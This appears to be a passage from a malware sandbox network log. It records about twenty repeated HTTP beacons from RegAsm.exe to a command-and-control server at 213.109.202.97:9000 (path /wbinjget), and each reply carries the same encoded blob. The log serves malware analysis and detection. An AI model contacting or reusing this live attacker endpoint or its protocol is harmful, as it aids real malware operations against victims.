Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:27.968919039 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:28.887693882 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:28 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50093	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:29.140644073 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:30.008030891 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:29 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50094	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:30.123763084 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:31.008609056 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:30 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50095	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:31.123575926 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:31.996110916 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:30 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50096	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:32.108598948 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:32.979887962 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:32 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50097	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:33.092385054 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:33.955583096 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:33 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	50098	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:34.077442884 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:34.967067003 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:34 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	50099	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:35.077600002 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:35.956690073 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:35 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50100	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:36.079642057 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:36.999432087 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:36 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50102	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:37.217536926 CEST	112	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000 Connection: Keep-Alive
Oct 19, 2024 03:39:38.105463028 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:37 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50103	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:38.233481884 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:39.111459970 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:38 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50104	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:39.233694077 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:40.113116980 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:39 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50105	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:40.236398935 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:41.132200956 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:40 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50106	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:41.250307083 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:42.123428106 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:41 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50107	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:42.233736038 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:43.127470016 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:42 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50108	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:43.275429010 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:44.144203901 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:43 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50109	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:44.265443087 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:45.142714977 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:44 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50110	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:45.264354944 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:46.150389910 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:46 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50111	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:46.264477968 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:47.145824909 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:46 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50112	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:47.265333891 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
Oct 19, 2024 03:39:48.128168106 CEST	418	IN	HTTP/1.1 200 OK Content-Length: 100 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE Access-Control-Allow-Headers: * Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Date: Sat, 19 Oct 2024 01:39:47 GMT Data Raw: 64 67 73 6a 43 48 49 6e 43 53 4e 61 42 51 30 6b 64 58 5a 32 49 31 73 49 56 41 45 41 66 53 45 68 64 67 70 78 64 77 68 30 56 51 4a 6d 48 32 67 66 59 6e 34 44 49 56 30 46 55 43 45 67 65 6e 52 33 44 41 56 58 42 46 51 6c 63 33 52 39 41 53 56 77 44 53 56 57 44 48 39 63 63 77 35 32 62 45 77 35 52 42 67 3d Data Ascii: dgsjCHInCSNaBQ0kdXZ2I1sIVAEAfSEhdgpxdwh0VQJmH2gfYn4DIV0FUCEgenR3DAVXBFQlc3R9ASVwDSVWDH9ccw52bEw5RBg=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50113	213.109.202.97	9000	3928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 03:39:48.255603075 CEST	88	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 213.109.202.97:9000
